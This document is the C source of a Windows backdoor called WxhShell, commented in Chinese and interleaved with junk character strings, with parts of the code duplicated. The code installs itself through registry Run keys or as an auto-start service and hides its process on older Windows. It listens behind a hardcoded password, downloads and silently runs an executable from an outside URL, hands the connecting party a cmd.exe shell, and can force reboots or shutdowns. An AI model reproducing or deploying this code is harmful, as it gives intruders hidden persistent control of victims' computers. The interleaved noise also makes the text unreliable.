uR static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jczq`yW static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sRq U]i8l Pp*}R2 HANDLE hProcess; 7'OPjtM PROCESS_BASIC_INFORMATION pbi; H$tb;: 5v9uHxy HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S}7>RHe if(NULL == hInst ) return 0; RmO yGSO 4seciz0? g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bulboyA g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pjN:Y] NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *Jt8 ?9e] if (!NtQueryInformationProcess) return 0; }bMWTT 2xTT)9Tq* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :;4SQN{2
O if(!hProcess) return 0; yvxl_*Ds8 ^>m^\MuZ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V;93).-$ @~o`#$*| CloseHandle(hProcess); 3eKQ<$w }q'WC4. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GuO`jz F if(hProcess==NULL) return 0; frqJN z*LiweR- HMODULE hMod; hZN<Yd8: char procName[255]; ~G`J
r unsigned long cbNeeded; C3S`}o. =.b Y#4 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $bGD%9
z I=[cZ;t CloseHandle(hProcess); &&PgOFD 254~:eB0 if(strstr(procName,"services")) return 1; // 以服务启动 XDYosC: a)9rs\Is{ return 0; // 注册表启动 16$y`~c-z } &p"(- 3hS6jS // 主模块 l h/&__ int StartWxhshell(LPSTR lpCmdLine) M<[?g5=# { I/B1qw;MN SOCKET wsl; xK;e\^v BOOL val=TRUE; "^%Z'ou int port=0; (p |DcA]BX struct sockaddr_in door; h\y-L~2E ut5yf$% if(wscfg.ws_autoins) Install(); BXhWTGiG s;{K!L@ port=atoi(lpCmdLine); ez*jjm iP "EA8 if(port<=0) port=wscfg.ws_port; =nVmthGw 6vp0*ww WSADATA data; H?U't
09 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &qRJceT( >n!ni( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; J_ J+cRwq setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7& 6Y door.sin_family = AF_INET; +v15[^F door.sin_addr.s_addr = inet_addr("127.0.0.1"); R]QpMj%o door.sin_port = htons(port); C5n?0I9 d
4O if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;[6&0!N\ closesocket(wsl); ~FUa:KYD return 1; k'+}92
o } ,
Oli @vs@>CYdz if(listen(wsl,2) == INVALID_SOCKET) { ~7SH4Cr closesocket(wsl); J70D+ return 1; >o[|"oLO } L2|aHI1'l Wxhshell(wsl); 0*7*RX WSACleanup(); 8A{6j 7X'y>\^w^> return 0; ;NsO vWY(% Q, } r4eUZ .8R RP`
`mI // 以NT服务方式启动 ?_ RYqolz VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ek)Xrp:2 { 6/2v DWORD status = 0; x /
XkD]Hq DWORD specificError = 0xfffffff; R^P_{_I*" 8$}OS- serviceStatus.dwServiceType = SERVICE_WIN32; Oif,|: serviceStatus.dwCurrentState = SERVICE_START_PENDING; Vxh.<b6&' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7+XM3 serviceStatus.dwWin32ExitCode = 0; gfo}I2" serviceStatus.dwServiceSpecificExitCode = 0; 'sU)|W(3U serviceStatus.dwCheckPoint = 0; &" h]y?Q serviceStatus.dwWaitHint = 0; "mZ.V ?R6`qe_F hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0BTLcEqgZ if (hServiceStatusHandle==0) return; <_:zI r, (pYYkR" status = GetLastError(); H(qm>h$bU if (status!=NO_ERROR) :vQM>9l7 { 0Nr\2| serviceStatus.dwCurrentState = SERVICE_STOPPED; WE.Tuo5L serviceStatus.dwCheckPoint = 0; 5$Kf]ZP serviceStatus.dwWaitHint = 0; T*P+Fh" serviceStatus.dwWin32ExitCode = status; wO!u!I serviceStatus.dwServiceSpecificExitCode = specificError;
BGqa-d SetServiceStatus(hServiceStatusHandle, &serviceStatus); CC8k&u, return; aRwnRii } f7+Cz>R r!K|E95oj9 serviceStatus.dwCurrentState = SERVICE_RUNNING; &!1}`4$[T serviceStatus.dwCheckPoint = 0; ;KcFy@ 6q5 serviceStatus.dwWaitHint = 0; ?`P2'i<b if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K{L.ZH>7 } Z?1OdoT- "#S>I8d // 处理NT服务事件,比如:启动、停止 e@jfIF0=} VOID WINAPI NTServiceHandler(DWORD fdwControl) _D-Riu>#J { m6U8)!)T switch(fdwControl) s~$zWx@v { =`p&h}h-L case SERVICE_CONTROL_STOP: l$XA5#k
serviceStatus.dwWin32ExitCode = 0; hC>wFC serviceStatus.dwCurrentState = SERVICE_STOPPED; - ]Y wl serviceStatus.dwCheckPoint = 0; 6k9Lx C:M serviceStatus.dwWaitHint = 0; UqtHxEI%R~ { /`+7_=- SetServiceStatus(hServiceStatusHandle, &serviceStatus); *K)0UKBr } 4e9E'
"8% return; bUvK case SERVICE_CONTROL_PAUSE: l)8sw= serviceStatus.dwCurrentState = SERVICE_PAUSED; 7/>a:02 break; A&N*F "q case SERVICE_CONTROL_CONTINUE: n,nisS serviceStatus.dwCurrentState = SERVICE_RUNNING; }O*WV 1 break; V/bH^@,sA case SERVICE_CONTROL_INTERROGATE: ~`Sle
xK|} break; [ud|dwP" }; y Nva1I SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4<}A]BQVkJ } ']?=[`#NL Y6VQ:glDT- // 标准应用程序主函数 J
Jy{@[m int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p\S8oHWe { 295w.X(J }1m_o@{3P // 获取操作系统版本 "{(
[! OsIsNt=GetOsVer(); ( V4G<-jG GetModuleFileName(NULL,ExeFile,MAX_PATH); O5-;I,)H x!?Z*v@I // 从命令行安装 M 9"-WIG@h if(strpbrk(lpCmdLine,"iI")) Install(); 2Xgx*'t\ NG9vml // 下载执行文件 d@g2k> > if(wscfg.ws_downexe) { #F4X} if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |s|/]aD}o WinExec(wscfg.ws_filenam,SW_HIDE); e2Jp'93o' } 8^X]z|[d2 },PBqWe if(!OsIsNt) { UC|JAZL // 如果时win9x,隐藏进程并且设置为注册表启动 hTTfJDF HideProc(); Hsl{rN
StartWxhshell(lpCmdLine); HV\"T(89 } jo0Pd_W8& else CG9ba| if(StartFromService()) 3!Bj{;A // 以服务方式启动 xOIg|2^8 StartServiceCtrlDispatcher(DispatchTable); BKA]G)G7u! else XGIpUz // 普通方式启动 wLMvC{5 StartWxhshell(lpCmdLine); bi,mM,N/ l* Y[^' return 0; |<Bpv{]P } -S$$/sR ,}<RrUfD 76cEKHa< -+P7:4/ =========================================== .)`-Hkxa F< |c4 *?N<S$m <E}N=J'uJ )ddsyFGW P6we(I`"2 " +*a7GttU IJIQ"
s #include <stdio.h> ~:Ixmqi}R #include <string.h> q^6N+ ^}QN #include <windows.h> BD'NuI #include <winsock2.h> hbnS~sva #include <winsvc.h> >zR14VO`_| #include <urlmon.h> +H}e)1^I D3.VXuKn6 #pragma comment (lib, "Ws2_32.lib") V}:'Xgp*N #pragma comment (lib, "urlmon.lib") ;+/NjC1 1;`Fe":;vC #define MAX_USER 100 // 最大客户端连接数 CJA+v- #define BUF_SOCK 200 // sock buffer KZ3B~#oQ #define KEY_BUFF 255 // 输入 buffer F[`vH W.$6pzB( #define REBOOT 0 // 重启 ee<H@LeG #define SHUTDOWN 1 // 关机 J@<!q G>0)I #define DEF_PORT 5000 // 监听端口 f".q9{+p, ue9h #define REG_LEN 16 // 注册表键长度 J)huy\>, #define SVC_LEN 80 // NT服务名长度 qUg9$oh{LI v= 8VvT8 // 从dll定义API 6ZEdihBei typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8m7;x/0ld typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LE|<O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LP?P=c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _H2tZ%RM >Bx8IO1_\d // wxhshell配置信息 5Hy3\_ + struct WSCFG { >[P%Ty); int ws_port; // 监听端口 l/F!Bq[*g char ws_passstr[REG_LEN]; // 口令 -lnevrl int ws_autoins; // 安装标记, 1=yes 0=no +"Ub/[J{G1 char ws_regname[REG_LEN]; // 注册表键名 + !xu{2 ! char ws_svcname[REG_LEN]; // 服务名 V4\560 char ws_svcdisp[SVC_LEN]; // 服务显示名 xp=Zd\5W$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 -3 ]|[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9m~t
j_ int ws_downexe; // 下载执行标记, 1=yes 0=no mQ=sNZ-d] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DO%Pwfkd char ws_filenam[SVC_LEN]; // 下载后保存的文件名 , QA9k$` ifHU|0_= }; sW'6}^Q -%=RFgU4 // default Wxhshell configuration N"~ qoJO struct WSCFG wscfg={DEF_PORT, b-uZ"Kf^ "xuhuanlingzhe", :ln/`_ 1, U1kh-8
: "Wxhshell", NQ{-@/v "Wxhshell", 1b+h>.gWar "WxhShell Service", LUG9 #. "Wrsky Windows CmdShell Service", feN!_- "Please Input Your Password: ", dFMAh&:> 1, |Q6h/"2 "http://www.wrsky.com/wxhshell.exe", OF-WUa4t "Wxhshell.exe" _T
a}B4; }; nqeVV&b! 6Wb!J>93 // 消息定义模块 _[%n ~6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nUqL\(UuY char *msg_ws_prompt="\n\r? for help\n\r#>"; ]Y =S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lfgtcR {l5 char *msg_ws_ext="\n\rExit."; S2bexbp0o char *msg_ws_end="\n\rQuit."; D@*|2 4y char *msg_ws_boot="\n\rReboot..."; [tz
u;/ char *msg_ws_poff="\n\rShutdown..."; u]SZ{[e char *msg_ws_down="\n\rSave to "; 90(UgK&Y V:8@)Hc= char *msg_ws_err="\n\rErr!"; /D8EI char *msg_ws_ok="\n\rOK!"; g<a<{| j^{b^!4~} char ExeFile[MAX_PATH]; 01o [!n T int nUser = 0; +8eVj#N HANDLE handles[MAX_USER]; IF
e+B" int OsIsNt; Cg7)S[zl c~37+^B: SERVICE_STATUS serviceStatus; B/rzh? b SERVICE_STATUS_HANDLE hServiceStatusHandle; N:7.:Yw [lZ=s[n. // 函数声明 S,VyUe4P4 int Install(void); YLE/w @* int Uninstall(void); Zg2]GJP int DownloadFile(char *sURL, SOCKET wsh); {F/q{c~] int Boot(int flag); E;$$+rA void HideProc(void); ]y}Zi/zh int GetOsVer(void); :k\}Ik int Wxhshell(SOCKET wsl); <oQ6 Z X void TalkWithClient(void *cs); !x6IV25 int CmdShell(SOCKET sock); Wy!uRzbBv int StartFromService(void); 03C .Xh=! int StartWxhshell(LPSTR lpCmdLine); Z"]xdOre $q^O%( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sN=KR qe VOID WINAPI NTServiceHandler( DWORD fdwControl ); vv!Bo~L1, 8ZFH}v@V1' // 数据结构和表定义 shD+eHo$ SERVICE_TABLE_ENTRY DispatchTable[] = PH[4y:^DN { i:{:xKiC a {wscfg.ws_svcname, NTServiceMain}, IE|,~M2 {NULL, NULL} fmBkB8 }; >r~|1kQ. y=wdR|b // 自我安装 E~}[+X@ int Install(void) y%JF8R;n { m+p4Mc%u char svExeFile[MAX_PATH]; URk$}_39 HKEY key; GG*BN<(>! strcpy(svExeFile,ExeFile); u!M&;QL "7:u0p! // 如果是win9x系统,修改注册表设为自启动 k,AM]H if(!OsIsNt) { F~%|3a$Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ML"_CQlE7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); waBRQh RegCloseKey(key); @\+%GDv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ";o~&8?) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }tu4z+T2 RegCloseKey(key); p?}&)Un return 0; b#e]1Q } X"wFQa } vu44 !c@ } UC.8DaIPN else { DhHtz.6 N-Qu/,~+ // 如果是NT以上系统,安装为系统服务 r.?qEe8VV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Cy]" if (schSCManager!=0) a$A2IkD { xJ$Rs/9C SC_HANDLE schService = CreateService haN"/C^ ( 7(H?k schSCManager, y)0gJP
L^ wscfg.ws_svcname, <. ezw4ju wscfg.ws_svcdisp, r!CA2iK` SERVICE_ALL_ACCESS, $tEdBnf^ca SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HhzkMJR8 SERVICE_AUTO_START, r}Ltv?4 SERVICE_ERROR_NORMAL,
nMLU-C!t svExeFile, N!]PIWnC NULL, 9+W!k^VWq NULL, gh.w Li$+ NULL, Q=^ktKMeR NULL, 9fCiLlI NULL ZBPd(;"x+ ); LAj}kW~ if (schService!=0) Oib[\O7[z { |{zHM2 3gD CloseServiceHandle(schService); er#8D6* CloseServiceHandle(schSCManager); kx:c*3q.k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S_a :ML< strcat(svExeFile,wscfg.ws_svcname); 8moUK3w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?0? x+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7ZL,p:f RegCloseKey(key); !Jk(&. return 0; MiRibHXI, } fLLnf].O } E {I)LdAqK CloseServiceHandle(schSCManager); D1oaG0 } ~JIywzcf8 } bX a %EMF tq2-.]Y@U return 1; `\Uc4lRS } Iq^~ c(QG4.)m // 自我卸载 1'(_>S5CG int Uninstall(void) .`:oP&9r { 'm HKEY key; BERn _5gb <\B],M1=s= if(!OsIsNt) { VaOpO8y` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AN|jFSQ' RegDeleteValue(key,wscfg.ws_regname); 4he v
; RegCloseKey(key); Z&AHM &,yj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Np|:dP9#} RegDeleteValue(key,wscfg.ws_regname); =>gyc;{2K< RegCloseKey(key); &*Q|d*CP return 0; rhlW } 8<wtf]x } Z'7 c^c7_ } W@R$'r,@O else { M!;`(_2 W;xW:
- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SSl8 if (schSCManager!=0) ]2hF!{wc { )$2%&9b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2hjre3"? if (schService!=0) (OM?aW { .6lY*LI if(DeleteService(schService)!=0) { Y&ct+w]% CloseServiceHandle(schService); ujI 3tsl CloseServiceHandle(schSCManager); u5[1Z|O return 0; ?^+#pcX]t| } 4d{"S02h CloseServiceHandle(schService); r[C3u[ } D#vn {^c8O CloseServiceHandle(schSCManager); tJ(c<:zD } wgSR*d>y*9 } g=8|z#S ):|G
kSm return 1; TFiuz;*| } 7I2a*4} m'G?0^Ft // 从指定url下载文件 N7RG5? int DownloadFile(char *sURL, SOCKET wsh) &0;{lS[N:L { P#vv+]/ HRESULT hr; 3B!&ow<rt char seps[]= "/"; N}.Q%&6: char *token; $sd3h\P&R char *file; ];d5X char myURL[MAX_PATH]; i_oro"%yL char myFILE[MAX_PATH]; ;-Y]X(z> mh!N^[=n strcpy(myURL,sURL); g:~?U*f- token=strtok(myURL,seps); ?~]1Gd while(token!=NULL) .N-'; %8 { nzQYn file=token; u8{@PlS token=strtok(NULL,seps); `Yo-5h } ?<>,XyY X:xC>4]gG' GetCurrentDirectory(MAX_PATH,myFILE); D7gX,e strcat(myFILE, "\\"); cEh0Vh-] strcat(myFILE, file); .,d$%lN send(wsh,myFILE,strlen(myFILE),0); ^a:vJ)WB7 send(wsh,"...",3,0); e4>L@7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IGF37';; if(hr==S_OK) rw=UK` return 0; 110>p else 84hi, S5P return 1; >[E|p6jgT `a/PIc" }
"df13U" (>+k 3 // 系统电源模块 5tgILxSK int Boot(int flag) (DELxE { Pi"tQyw39$ HANDLE hToken; \@
WsF$
TOKEN_PRIVILEGES tkp; NbQMWU~7 rH2tC=% if(OsIsNt) { k^'d@1z;C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gN!E*@7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); + hyWo]nW0 tkp.PrivilegeCount = 1; yp^[]Mz= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .JD4gF2N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mER8>
< if(flag==REBOOT) { VFO&)E/- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "t%1@b*u return 0; O0=,&=i } ]`/R("l[ else { fn?6%q,!ls if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q.,p6D return 0; C9z~)aL}7 } YjIED,eRv } |/T<]+X; else { Hq"<vp if(flag==REBOOT) { xP5mL3j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xj00eL return 0; Ei?9M^w } .1[2 CjQ else { 2XecP'+m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \$~oH3m& return 0; `
HE:D2b } 8H%I|fm } (&Tb,H)= yOn2}Z return 1; F)<G]i8n~ } 8)q]^ ,T21z}r // win9x进程隐藏模块 ~a8G 5M void HideProc(void) hO<w]jV, { (HV~ '5D SU#P.y18% HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HBga'xJ if ( hKernel != NULL ) i37a}.; { ZTPOD.:# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B,m$ur#$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GFc FreeLibrary(hKernel); I;11j } \,cKt_{ u v YmtpKNj% return; (.XDf3 } neY=:9 ^p- e // 获取操作系统版本 cmGj0YUQ1 int GetOsVer(void) M_.,c Vk { xMfv&q=k@ OSVERSIONINFO winfo; k4AE`[UE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `Py=
?[cD GetVersionEx(&winfo); I9G*iu=U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )}it,< return 1; &F*QYz[ else Nj@?}`C 4 return 0; t>h
i$NX{p } Gv+Tg/ qL;T&h // 客户端句柄模块 0)Um W{ int Wxhshell(SOCKET wsl) $E_vCB_ { {7~ $$AR( SOCKET wsh; .gkPG'm[ struct sockaddr_in client; .8PO7# DWORD myID; hy&Hl 5NvyK[w] while(nUser<MAX_USER) Z2j*%/ { cxJK>%84 int nSize=sizeof(client); I7z]%Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v0MOX>`s if(wsh==INVALID_SOCKET) return 1; ^FMa8;'o WT!\X["FI$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 56
kgL;$h if(handles[nUser]==0) #|_UA}Y closesocket(wsh); ]XafFr6pe else DMxS-hl
nUser++; -Tkd@ } WAmoKZw2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -hR\Y2? &b6@_C9 return 0; {2clOUi } pfQZ|*>lkb hYv 6-5_ // 关闭 socket Aag)c~D void CloseIt(SOCKET wsh) jv=f@:[`I { c@#zjJhW] closesocket(wsh); sCCr%r]zL nUser--; vrnj}f[h ExitThread(0); 7>@/*S{X } t\bxd`, m;+1;B // 客户端请求句柄 OmjT`,/ void TalkWithClient(void *cs) =yhfL2`aw { ]9< 9F ? cB F%])! SOCKET wsh=(SOCKET)cs; @#Uiy5N char pwd[SVC_LEN]; I_I;.Ik char cmd[KEY_BUFF]; WCl;#= char chr[1]; o4'4H y int i,j; X6*y/KGN &r5%WRzpYT while (nUser < MAX_USER) { AG\852`1m }ZVv if(wscfg.ws_passstr) { BOQV X&g% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); si.a]k/f //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0@x$Cp //ZeroMemory(pwd,KEY_BUFF); B:#0B[ i=0; ~)IJE+e>} while(i<SVC_LEN) { WJ4UJdf' @%G"i:HZ& // 设置超时 ]JPPL4wAT fd_set FdRead; \lIHC{V\ struct timeval TimeOut; UXB8sS*wQ? FD_ZERO(&FdRead); JU \J
FD_SET(wsh,&FdRead); |=}~>!! TimeOut.tv_sec=8; m:O2_%\l TimeOut.tv_usec=0; I"<.
h' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]sP9!hup if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5N+(Gv[`" (IHBib " if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E^W*'D pwd=chr[0]; >P"/nS"nn if(chr[0]==0xd || chr[0]==0xa) { x2c*k$<p pwd=0; A?k,}~ break; 'wlP` 7&Tn } 7.rZ%1N i++; J3S+| x h~ } -?` l<y( |8{iIvi/ // 如果是非法用户,关闭 socket FH(+7Lz4; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~EkGG
. } 9+Bq00-Z$ Prx s2 i 8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kR?n%`&k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C\@YH] XXmu|h while(1) { uN0fWj] VgoKi ZeroMemory(cmd,KEY_BUFF); 6Q.whV%y >,vW // 自动支持客户端 telnet标准 ?'m5)Z{ j=0; x)Kh_G while(j<KEY_BUFF) { Tm.w+@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sl O9H6< cmd[j]=chr[0]; '^3pF2lIw if(chr[0]==0xa || chr[0]==0xd) { q ? TI, cmd[j]=0; M|=$~@9#X break; Nh/ArugP5P } 9],"AjD j++; zR_l^NK } BW=6gZ_ 0 3 $
W // 下载文件 @$}\S if(strstr(cmd,"http://")) { r9*H-V$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); l<_mag/j9o if(DownloadFile(cmd,wsh)) '6J$X- send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eakjsk else H4A+Dg, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3zF7V:XH } > .~k?_Of else { ~M1%,] 2]f.mq_PD switch(cmd[0]) { 2+cicBD lS*.?4zX // 帮助 m?G+#k;K case '?': { O'U,|A send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y s6"Q[B break; cty#@?"e } g]JI}O*5 // 安装 4<Y[L'UaA@ case 'i': { ?|yJ#j1= if(Install()) I3b-uEHev send(wsh,msg_ws_err,strlen(msg_ws_err),0); }kefrT else *X5LyO3-gP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |q)Q<%VS' break; aJ;R8(*;\ } Nx
z ,/d // 卸载 c4W"CD;D case 'r': { vAxtNRS if(Uninstall()) aKr4E3` send(wsh,msg_ws_err,strlen(msg_ws_err),0); [c )\?MWW else m]pvJJ@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <QLj6#d7Y break; e}w!] } *9^k^h(r&4 // 显示 wxhshell 所在路径 ,1h(k<- case 'p': { c{ (%+ char svExeFile[MAX_PATH]; rn*VL(Yd( strcpy(svExeFile,"\n\r"); <WkLwP3^ strcat(svExeFile,ExeFile); 4yy
yXj send(wsh,svExeFile,strlen(svExeFile),0); :\We =oX break; iAhRlQ{Qu } >g=:01z9 // 重启 sOenR6J<$ case 'b': { :PkSX*E[q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T5G+^XDA if(Boot(REBOOT)) m':m`,c! send(wsh,msg_ws_err,strlen(msg_ws_err),0); -8e tH& else { hV>Ey^Ty closesocket(wsh); ^E*C~;^S ExitThread(0); )A;<'{t #L } f89<o#bm7h break; 36UWoo } Yb/^Qk59 // 关机 ^>uGbhBp case 'd': { ^T>.04";x send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?id^v 7d if(Boot(SHUTDOWN)) H[U*'
2TJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ePdzQsnVe else { k Er7,c closesocket(wsh); :D-vE7 ExitThread(0); u?/]"4 } %&GQ]pmcY break; {.W%m } N?:S?p9R@ // 获取shell $%t case 's': { ]UTP~2N CmdShell(wsh); /m:}rD closesocket(wsh); 2N#L'v@g=+ ExitThread(0); T3 Fh7S / break; :6{HFMf" } ]B[Qdn // 退出 /2I("x] case 'x': { EQ-~e send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,oe4*b}O=. CloseIt(wsh); ZrBxEf$f break; %VZ\4+8S } >48Y-w // 离开
><^@1z.J case 'q': { 4 -W?u51" send(wsh,msg_ws_end,strlen(msg_ws_end),0); h~t]WN closesocket(wsh); B[h9epU]K WSACleanup(); E>v~B;@ exit(1); *x!5I$~J break; UI'eD)WR } huE#VY
/t } Uy=eHwU?J } "w1jr 6" H*IoJL6 // 提示信息 QB>e(j% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !s:|Ddv } :=@[FXD4 } FT6cOMu LA5rr}<K return; CJ b~~ } cj)~7 WF eS|p3jk; // shell模块句柄 -)GfSk
int CmdShell(SOCKET sock) c$;enAf@ { "G:>}cs%? STARTUPINFO si; AS;{{^mM( ZeroMemory(&si,sizeof(si)); ~XRr }z_Lq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; suwj1qYJ4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7[\B{N9&W PROCESS_INFORMATION ProcessInfo; `{":*V
char cmdline[]="cmd"; ufOaD7 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <j'#mUzd return 0; `P~RG.HO } (;3jmdJhK U_?RN)>j // 自身启动模式 b04~z&Xv int StartFromService(void) B~IOM { wv$=0zF typedef struct %;S5_K, { gg9W7%t/ DWORD ExitStatus; }sZ]SE DWORD PebBaseAddress; /k,p]/e DWORD AffinityMask; tz{]H9 DWORD BasePriority; ADDp m-] ULONG UniqueProcessId; -rfO"D> ULONG InheritedFromUniqueProcessId; V !$m{)Y } PROCESS_BASIC_INFORMATION; i%iU_` Ho/5e*X PROCNTQSIP NtQueryInformationProcess; ,MJZ*"V/3 bH&H\ Mx_k static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6SwHl_2% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zob-z==' w_ m HANDLE hProcess; |(N4x(xl PROCESS_BASIC_INFORMATION pbi; 8V nZ@* UJI1n?~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RK0IkRXQd if(NULL == hInst ) return 0; 6lPGop]js] Q=[&~^Y) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FP$]D~DMo g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]!QeJ'BLM NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O-k(5Zb Q1rwTg\ if (!NtQueryInformationProcess) return 0; .B@;ch, 0M"E6z)9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IlVi1`]w if(!hProcess) return 0; nC w1H kW %K%z<R8 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c-,/qn/ V}*b^<2o5 CloseHandle(hProcess); K;Ktx>Z/ _Z%C{~,7)x hProcess = 